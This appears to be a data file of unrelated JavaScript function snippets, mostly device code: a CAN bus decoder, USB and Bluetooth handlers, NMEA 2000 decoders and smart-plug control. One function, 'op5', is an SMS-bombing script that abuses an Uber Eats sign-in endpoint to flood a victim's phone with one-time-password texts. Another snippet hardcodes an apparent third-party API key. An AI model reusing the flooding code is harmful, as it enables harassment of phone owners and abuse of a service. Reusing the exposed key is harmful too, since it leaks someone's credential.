\");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC\");\n\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (val == crc_rg)\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\"\");\n\t\t\t\t\t\tpkt_add_item(-1, -1 ,\"CRC\", int_to_str_hex(val) + \" OK\", dark_colors.yellow, channel_color);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG, Should be: \" + int_to_str_hex(crc_rg));\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG!\");\n\t\t\t\t\t\tdec_item_add_post_text(\"E!\");\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"CRC\", int_to_str_hex(val) + \"(WRONG)\", dark_colors.red, channel_color);\n\n\t\t\t\t\t\tpkt_start(\"CRC ERROR\");\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (captured)\",int_to_str_hex(val), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (calculated)\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tdec_item_add_post_text(\"!\");\n\t\t\t\t\t}\n\n\t\t\t\t\tb += crc_len-1;\n\t\t\t\t\tbit_pos[b] += spb;\n\t\t\t\t\tstate = GET_ACK;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\twhile (db < 16) //read crc bits\n\t\t\t\t\t{\n\t\t\t\t\t\tif (sb == 4)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstuffing_ok = check_stuffing();\t\t// Stuffed bit\n\n\t\t\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t // Regular bit\n\t\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb / 2, spb);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t\tif (bits[b] == last_bit)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsb++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tlast_bit = bits[b];\n\t\t\t\t\t\t\tb++;\n\t\t\t\t\t\t\tdb++;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\trb++;\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tframe_length_in_sample += spb;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t{\n\t\t\t\t\t\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\t\tstate = GET_SOF;\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tval = 0;\n\t\t\t\t\tb -= 16;\n\n\t\t\t\t\tfor (c = 0; c < 15; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tval = (val * 2) + bits[b + c];\n\t\t\t\t\t}\n\n\t\t\t\t\tcrc_rg = 0;\t\t// Now calculate our own crc to compare\n\n\t\t\t\t\tfor (c = 0; c < b; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tcrc_nxt = bits[c] ^ ((crc_rg >> 14) & 0x1);\n\t\t\t\t\t\tcrc_rg = crc_rg << 1;\n\n\t\t\t\t\t\tif (crc_nxt == 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcrc_rg ^= 0x4599;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tcrc_rg &= 0x7fff;\n\t\t\t\t\t}\n\n\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b] - (0.5 * spb) + m, bit_pos[b + 14] + (0.5 * spb) - m); \t// Add the ID item\n\t\t\t\t\telse\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + 14] + (0.5 * spb_hs) - m_hs); \t// Add the ID item\n\t\t\t\t\tdec_item_add_pre_text(\"CRC : \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC\");\n\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (val == crc_rg)\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\" OK\");\n\t\t\t\t\t\tdec_item_add_post_text(\"\");\n\t\t\t\t\t\tpkt_add_item(-1, -1 ,\"CRC\", int_to_str_hex(val) + \" OK\", dark_colors.yellow, channel_color);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG, Should be: \" + int_to_str_hex(crc_rg));\n\t\t\t\t\t\tdec_item_add_post_text(\" WRONG!\");\n\t\t\t\t\t\tdec_item_add_post_text(\"E!\");\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"CRC\", int_to_str_hex(val) + \"(WRONG)\", dark_colors.red, channel_color);\n\n\t\t\t\t\t\tpkt_start(\"CRC ERROR\");\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (captured)\",int_to_str_hex(val), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_add_item(0, 0, \"CRC (calculated)\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tdec_item_add_post_text(\"!\");\n\t\t\t\t\t}\n\n\t\t\t\t\tb += 15;\n\t\t\t\t\tstate = GET_ACK;\n\t\t\t\t}\n\t\t\tbreak;\n\n\t\t\tcase GET_ACK: \t// and the EOF too.\n\t\t\t\tbit_pos[b] -= spb;// CRC delimiter\n\t\t\t\tack_chk = bit_sampler_next(ch);\n\t\t\t\tbit_sampler_next(ch); \t// ACK delimiter\n\n\t\t\t\tif(!edl_mode)\n\t\t\t\t\tdec_item_new(ch,bit_pos[b] + (1.5 * spb) + m, bit_pos[b] + (3.5 * spb) - m); \t// Add the ACK item\n\t\t\t\telse\n\t\t\t\t\tdec_item_new(ch,bit_pos[b] + (2.5 * spb_hs) + m, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m); \t// Add the ACK item\n\n\t\t\t\tif(ack_chk == 1)\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"NO ACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"NACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"!A\");\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"ACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"ACK\");\n\t\t\t\t\tdec_item_add_pre_text(\"A\");\n\t\t\t\t}\n\t\t\t\tpkt_add_item(-1, -1, \"ACK\", ack_chk.toString(10), dark_colors.black, channel_color);\n\t\t\t\teof_chk = 0;\n\t\t\t\tfor (c = 0; c < 7; c++)\n\t\t\t\t{\n\t\t\t\t\teof_chk += bit_sampler_next(ch);\n\t\t\t\t}\n\n\t\t\t\tif(!edl_mode)\n\t\t\t\t\tdec_item_new(ch, bit_pos[b] + (3.5 * spb) + m, bit_pos[b] + (10.5 * spb) - m); \t// Add the EOF item\n\t\t\t\telse\n\t\t\t\t\tdec_item_new(ch, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m, bit_pos[b] + (2.5 * spb_hs) + 9*spb - m); \t// Add the EOF item\n\n\t\t\t\tif (eof_chk == 7)\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"END OF FRAME OK\");\n\t\t\t\t\tdec_item_add_pre_text(\"EOF OK\");\n\t\t\t\t\tdec_item_add_pre_text(\"EOF\");\n\t\t\t\t\tdec_item_add_pre_text(\"E\");\n\t\t\t\t\tpkt_add_item(-1, -1, \"EOF\", \"\", dark_colors.blue, channel_color);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tdec_item_add_pre_text(\"END OF FRAME ERR\");\n\t\t\t\t\tdec_item_add_pre_text(\"EOF ERR!\");\n\t\t\t\t\tdec_item_add_pre_text(\"!EOF!\");\n\t\t\t\t\tdec_item_add_pre_text(\"!E!\");\n\t\t\t\t\tdec_item_add_pre_text(\"!\");\n\t\t\t\t\tpkt_add_item(-1, -1, \"EOF\",\"MISSING!\", dark_colors.red, channel_color);\n\t\t\t\t}\n\n\t\t\t\tpkt_end();\n\n\t\t\t\tt = trs_go_after(ch, bit_pos[b] + (10.5 * spb));\n\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\tstate = GET_SOF;\n\t\t\t\t//dec_item_new(ch, bit_pos[0] - (0.5 * spb) + m, bit_pos[b] + (0.5 * spb) - m); \t//<=========================DEBUG ALL THE FRAME\n\t\t\tbreak;\n\t\t}\n\t}\n}","function sendCompleted(usbEvent) {\n\tif (chrome.runtime.lastError) {\n\t\tconsole.error(\"sendCompleted Error:\", chrome.runtime.lastError.message);\n\t}\n\n\tif (usbEvent) {\n\t\tif (usbEvent.data) {\n\t\t\tvar buf = new Uint8Array(usbEvent.data);\n\t\t\tconsole.log(\"sendCompleted Buffer:\", usbEvent.data.byteLength, buf);\n\t\t}\n\t\tif (usbEvent.resultCode !== 0) {\n\t\t\tchangeState(state.connected);\n\t\t\terrorln(\"Error writing to device: \" + chrome.runtime.lastError.message);\n\t\t}\n\t}\n}","getPower() {\n console.log('getPower called');\n\n return this.getLampResURI()\n .then(response => {\n return response.power.value;\n });\n }","function getvolume(dev, callback)\n{\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\n {\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-15';\n webphone_api.plhandler.GetVolume(dev, callback);\n }\n}","function getBzData(uri, method) {\n var dfd = $.Deferred();\n\n // defer get binary\n var request = new XMLHttpRequest();\n request.onload = function () {\n // Process the response\n if (request.status >= 200 && request.status < 300) {\n // If successful\n console.log('request-received');\n\n var bytes = bz2.decompress(new Uint8Array(request.response));\n var jsonObj = JSON.parse(utfDecoder.decode(bytes));\n dfd.resolve(jsonObj);\n } else {\n // If failed\n dfd.reject({\n status: request.status,\n statusText: request.statusText\n });\n }\n }\n request.open('GET', uri, true);\n request.responseType = \"arraybuffer\";\n request.send();\n\n return dfd.promise();\n }","function getHumidity(){\n execFile('./scripts/humidity', ['hum'], (error, stdout, stderr) => {\n if (error) {\n console.error('stderr', stderr);\n throw error;\n }\n console.log('hum: ' + stdout);\n readData.hum = stdout\n })\n}","function onEvent(usbEvent) {\n\tconsole.log(\"onEvent\");\n\tif (usbEvent.resultCode) {\n\t\tif (usbEvent.resultCode == USB_ERROR_TRANSFER_FAILED) {\n\t\t\t// Device is connected but we failed to send data.\n\t\t\tchangeState(state.connected);\n\t\t} else if (usbEvent.resultCode == USB_ERROR_DEVICE_DISCONNECTED) {\n\t\t\tchangeState(state.disconnected);\n\t\t}\n\t\tconsole.log(chrome.runtime.lastError.message + \"(code: \" + usbEvent.resultCode + \") [onEvent]\");\n\t\treturn;\n\t}\n\n\tvar dv = new DataView(usbEvent.data);\n\tvar len = dv.getUint8(0);\n\tvar cmd = dv.getUint8(1);\n\n\tswitch (cmd) {\n\t\tcase CMD_DEBUG:\n\t\t{\n\t\t\tvar msg = \"\";\n\t\t\tfor (var i = 0; i < len; i++) {\n\t\t\t\tmsg += String.fromCharCode(dv.getUint8(i+2));\n\t\t\t}\n\t\t\tmessageln(\"debug: '\" + msg + \"'\");\n\t\t\tbreak;\n\t\t}\n\t\tcase CMD_PING:\n\t\t\tmessageln(\"ping\");\n\t\t\tbreak;\n\t\tcase CMD_VERSION:\n\t\t{\n\t\t\tvar version = \"\" + dv.getUint8(2) + \".\" + dv.getUint8(3);\n\t\t\tmessageln(\"command: Version \" + version);\n\t\t\tbreak;\n\t\t}\n\t\tdefault:\n\t\t\terrorln(\"unknown command\");\n\t\t\tbreak;\n\t}\n\n\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\n}","async function enableBloodPressure() {\n const command = hexToBase64(\"55 aa 04 02 01 f8\");\n // console.log(\"TCL: enableBloodPressure -> command\", command)\n const didWrite = await Bluetooth.writeToDevice(command);\n // console.log(\"TCL: enableBloodPressure -> didWrite\", didWrite)\n return didWrite;\n}","_pingDevice () {\n this._ble.read(\n BoostBLE.service,\n BoostBLE.characteristic,\n false\n );\n }","RetrieveBeaconBlock(blockHash = '', verbosity = '1') {}","async function requestBarcodePrinter() {\n console.log(navigator)\n navigator.usb &&\n navigator.usb\n .requestDevice({\n filters: [\n {\n vendorId: 5380,\n // classCode: 0xff, // vendor-specific\n // protocolCode: 0x01,\n },\n ],\n })\n .then(selectedDevice => {\n setBarcodePrinter(selectedDevice)\n })\n .catch(errorInfo => {\n console.log(errorInfo)\n // message.error(i18n.t`Cannot find label printer`)\n })\n }","async GetValueBytes(id, command) {\n var packet = new DpsPacket(id, DpsConstants.sender, command, [0,0,0,0,0,0,0,0]);\n var result = await this.PacketIO(packet);\n if ((result && (result.sender != id || result.command != command)) || result == null) return null;\n else return result.data;\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","scan (){\n this.comm.getDeviceList().then(result => {\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\n });\n }","XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\n return new Promise((resolve, reject) => {\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\n console.log(\"Sending 'START DFU' command\");\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\n .then( () => this._send_packet_data(image_size_packet) )\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\n //TODO .then( () => this._clear_received_response() )\n });\n }","async function op5(numero, quantidade) {\n\t\n\tvar ubereats = await tools.curl('https://cn-phx2.cfe.uber.com/rt/silk-screen/submit-form', `{\"formContainerAnswer\":{\"formAnswer\":{\"flowType\":\"INITIAL\",\"screenAnswers\":[{\"screenType\":\"PHONE_NUMBER_INITIAL\",\"fieldAnswers\":[{\"fieldType\":\"PHONE_COUNTRY_CODE\",\"phoneCountryCode\":\"55\"},{\"fieldType\":\"PHONE_NUMBER\",\"phoneNumber\":\"${numero}\"},{\"fieldType\":\"THIRD_PARTY_CLIENT_ID\",\"thirdPartyClientID\":\"\"}]}],\"firstPartyClientID\":\"\"}}}`, {\n\t\t'Host': 'cn-phx2.cfe.uber.com',\n\t\t'x-uber-client-name': 'eats',\n\t\t'x-uber-device': 'android',\n\t\t'x-uber-device-language': 'pt_BR',\n\t\t'x-uber-client-version': '1.277.10005',\n\t\t'accept': 'application/json',\n\t\t'content-type': 'application/json; charset=UTF-8',\n\t\t'user-agent': 'okhttp/3.12.0-uber2'\n\t\t}, 'POST').then((res) => {\n\t\t\tif (res.body.match(/SIGN_IN/i)) {\n\t\t\t\t\n\t\t\t\tif (spam.enviados == 0) {\n\t\t\t\t\tb1.start(quantidade, 0, {\n\t\t\t\t\t\tenviados: spam.enviados\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tspam.enviados++\n\t\t\t\tspam.status = 1\n\t\t\t\tb1.update(spam.enviados, {\n\t\t\t\t\tenviados: spam.enviados\n\t\t\t\t});\n\t\t\t\t// console.log('Sucesso » [ Numero: %s, Enviados: %s, Retorno: SMS enviado com sucesso. ] #ServerMP'.success, numero, spam.enviados);\n\t\t\t} else if (res.body.match(/SMS_OTP_TOO_MANY_REQUESTS/i)) {\n\t\t\t\tconsole.clear();\n\t\t\t\tprocess.exit(console.log('Falhou » [ Excesso de tentativas, tente novamente em breve. ] #ServerMP'.error));\n\t\t\t} else if (res.body.match(/BANNED/)) {\n\t\t\t\tconsole.clear();\n\t\t\t\tprocess.exit(console.log('Falhou » [ Numero inserido está com conta desativada. ] #ServerMP'.error));\n\t\t\t} else {\n\t\t\t\tconsole.clear();\n\t\t\t\tprocess.exit(console.log('Falhou » [ Ocorreu um error desconhecido. ] #ServerMP'.error));\n\t\t\t}\n\t});\n\t\n\t// Verificar se o spam ja foi finalizado.\n\tif (quantidade == spam.enviados) {\n\t\tb1.start(quantidade, quantidade, {\n\t\t\tenviados: spam.enviados\n\t\t});\n\t\tprocess.exit(console.log('\\n\\nAtaque finalizado! #ServerMP'.help));\n\t} else {\n\t\top5(numero, quantidade);\n\t}\n\t\n}","async function writepumpdurationtoBLE(num){\n console.log('Attempting bluetooth write')\n var arrInt8 = toBytesInt16(num)\n ble.twrite_pumpduration=performance.now()\n try{\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\n console.log(textstr)\n ble.statustext = textstr\n // \n //wdm(textstr)\n }\n catch(error) {\n var textstr = 'Could not write pump duration to ble device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
    \" + textstr\n \n }\n}","function cerial() {\n getPortInfo()\n .then( (portDetails) => handleSensor(portDetails))\n .catch((error) => console.log(error));\n // port.write('ROBOT PLEASE RESPOND\\n');\n // The parser will emit any string response\n}","function get24HBTCData() {\r\n\tvar result;\r\n\tvar request = new XMLHttpRequest();\r\n\trequest.open('GET',\r\n\t\t'https://min-api.cryptocompare.com/data/v2/histohour?fsym=BTC&tsym=USD&limit=24&api_key=45419ed9fb65b31861ccb009765d97bb619e9eccedc722044457d066cbfb0a8b', false)\r\n\trequest.send(null);\r\n\tresult = JSON.parse(request.responseText);\r\n\treturn result;\r\n}","function getHSDevices(filter,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action=getdevices&filter='+filter+'&verbose=yes',\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){log(\"Got error: \" + e.message); });\n });\n}","function Bus_Phase(decoder_items) // 65001-65006\n{\n var str = \"\";\n switch (data_nb)\n {\n case 0 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 1 :\n {\n multi_byte_value += (hex_value<<8);\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"Line-Line AC RMS Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n decoder_items.end_sample_index,\n \"Data\",\n (\"Line-Line Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\"),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n case 2 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 3 :\n {\n multi_byte_value += (hex_value<<8);\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"Line-Neutral AC RMS Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n decoder_items.end_sample_index,\n \"Data\",\n (\"Line-Neutral Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\"),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n case 4 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 5 :\n {\n multi_byte_value += (hex_value<<8);\n multi_byte_value = Math.floor(multi_byte_value/128);\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"AC Frequency : \" + multi_byte_value + \"Hz\");\n ScanaStudio.dec_item_add_content(multi_byte_value + \" kWh\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n decoder_items.end_sample_index,\n \"Data\",\n (\"AC Frequency : \" + multi_byte_value + \"Hz\"),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n default :\n {\n packet_title = \"Filled Data\";\n if (hex_value == 255)\n {\n item_content = \"Filled with 0xFF\";\n }\n else\n {\n item_content = \"0x\" + pad(hex_value.toString(16),2) + \", should be 0xFF\";\n types_title = ScanaStudio.PacketColors.Error.Title;\n types_content = ScanaStudio.PacketColors.Error.Content;\n }\n break;\n }\n }//end switch (data_nb)\n}//end function Bus_Phase_C","function proprietary_fast_packet (decoder_items) //126720/130816/130817/130818/130819/130820/130821/130824/130827/130828/130831/130832/130834/130835/130836/130837/130838/130839/130840/130842/130843/130845/130847/130850/130851/130856/130880/130881/130944\n{\n var str = \"\";\n switch (fast_packet_byte)\n {\n case 1 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 2 :\n {\n var manufacturer_code = multi_byte_value + (((hex_value>>5)&0x7)<<8);\n var reserved = (hex_value>>3)&0x3;\n var industry_code = hex_value&0x7;\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*3;\n str = LOOKUP_MANUFACTURER(manufacturer_code);\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\n ScanaStudio.dec_item_add_content(\"Manufacturer Code : \" + str);\n ScanaStudio.dec_item_add_content(\"\" + str);\n ScanaStudio.dec_item_add_content(str);\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n end_item,\n \"Fast Packet Data\",\n (\"Manufacturer Code : \" + str),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n start_item = end_item;\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*5;\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\n ScanaStudio.dec_item_add_content(\"Reserved : 0x\" + pad(reserved.toString(16),1));\n ScanaStudio.dec_item_add_content(\"Reserved\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n end_item,\n \"Fast Packet Data\",\n (\"Reserved : 0x\" + pad(reserved.toString(16),1)),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n str = LOOKUP_INDUSTRY_CODE(industry_code);\n ScanaStudio.dec_item_new(decoder_items.channel_index, end_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"Industry Code : \" + str);\n ScanaStudio.dec_item_add_content(str);\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n end_item,\n decoder_items.end_sample_index,\n \"Fast Packet Data\",\n (\"Industry Code : \" + str),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n default :\n {\n packet_title = \"Byte n°\" + fast_packet_byte;\n item_content = \"0x\" + pad(hex_value.toString(16),2);\n break;\n }\n }\n}","loadSample(url, name, callback)\n {\n let request = new XMLHttpRequest();\n request.open('GET', url, true);\n request.responseType = 'arraybuffer';\n request.onload = function()\n {\n let audioData = request.response;\n drummachineInst.audioContext.decodeAudioData(audioData, function(buffer)\n {\n callback(buffer,name);\n });\n };\n request.send();\n }","function GetDeviceIP(){\n showBackgroundImage('wait_message');\n getContent('','/cgi-bin/setup.cgi?GetDeviceIP','function:ShowGetDeviceIP');\n}","function BYB_GetBalance() { \n var bybrequest = {\n \"id\" : \"BYB\",\n \"name\" : \"Bybit\",\n \"apikey\" : '•••••••••',\n \"secret\" : '•••••••••',\n \"command\" : \"/open-api/wallet/fund/records\",\n // \"uri\" : \"https://api.bybit.com\",\n \"uri\" : \"api-testnet.bybit.com\",\n \"apiversion\" : \"/v1/\",\n \"method\" : \"get\",\n \"payload\" : \"\"\n }; \n\n var response = BYB_PrivateRequest(bybrequest);\n Logger.log( JSON.parse(UrlFetchApp.fetch(response.uri, response.params)) );\n}","function processDeviceCommand(request, response) {\n\t\n\tvar deviceIP = request.headers[\"tuyapi-ip\"]\n\tvar deviceID = request.headers[\"tuyapi-devid\"]\n\tvar localKey = request.headers[\"tuyapi-localkey\"]\n\tvar command = request.headers[\"tuyapi-command\"] \n\n\t//var respMsg = \"deviceCommand sending to deviceID: \" + deviceID + \" Command: \" + command;\n\tvar respMsg = \"deviceCommand sending to IP: \" + deviceIP + \" Command: \" + command;\n\tconsole.log(respMsg);\n\n\tvar device = new TuyaDevice({\n\t //ip: deviceIP,\n\t id: deviceID,\n\t key: localKey\n\t , issueGetOnConnect: false\n\t});\n\n\tdevice.on('error', error => {\n\t\tconsole.log('Error!', error);\n\t});\n\n\t(async () => {\n\t\tawait device.find();\t \n\n\t\tawait device.connect();\t \n\t\tconsole.log('Connected to device!');\n\t\tlet status = await device.get();\t \n\t\tconsole.log(`Current status: ${status}.`);\t\n\t\tswitch(command) {\n\t\t\tcase \"off\":\t\n\t\t\t\tconsole.log('Setting to false!');\n\t\t\t\tawait device.set({set: false});\n\t\t\tbreak\n\t\t\tcase \"on\":\n\t\t\t\tconsole.log('Setting to true!');\n\t\t\t\tawait device.set({set: true});\n\t\t\tbreak\n\t\t\tcase \"status\":\t\n\t\t\t\tconsole.log('Received status request!');\n\t\t\tbreak\n\t\t}\n\t\tstatus = await device.get(); \t\t \n\t\tconsole.log(`New status: ${status}.`);\t \n\t\tdevice.disconnect();\n\n\t\ttry{\n\t\t\tconsole.log(\"Sending Status to SmartThings:\" +status);\t\n\t\t\tresponse.setHeader(\"tuyapi-onoff\", status);\n\t\t\tresponse.setHeader(\"cmd-response\", status);\n\t\t\tresponse.end();\n\t\t\tconsole.log(\"Status sent to SmartThings:\" +status);\t\n\t\t}catch (err){\n\t\t\tconsole.log(\"Error:\" +err);\t\n\t\t}\n\t})();\t\n}","prepare() {\n if (!navigator.bluetooth) {\n this.log_.warn('Bluetooth Web support is not available!');\n return;\n } else if (this.prepared) {\n return;\n 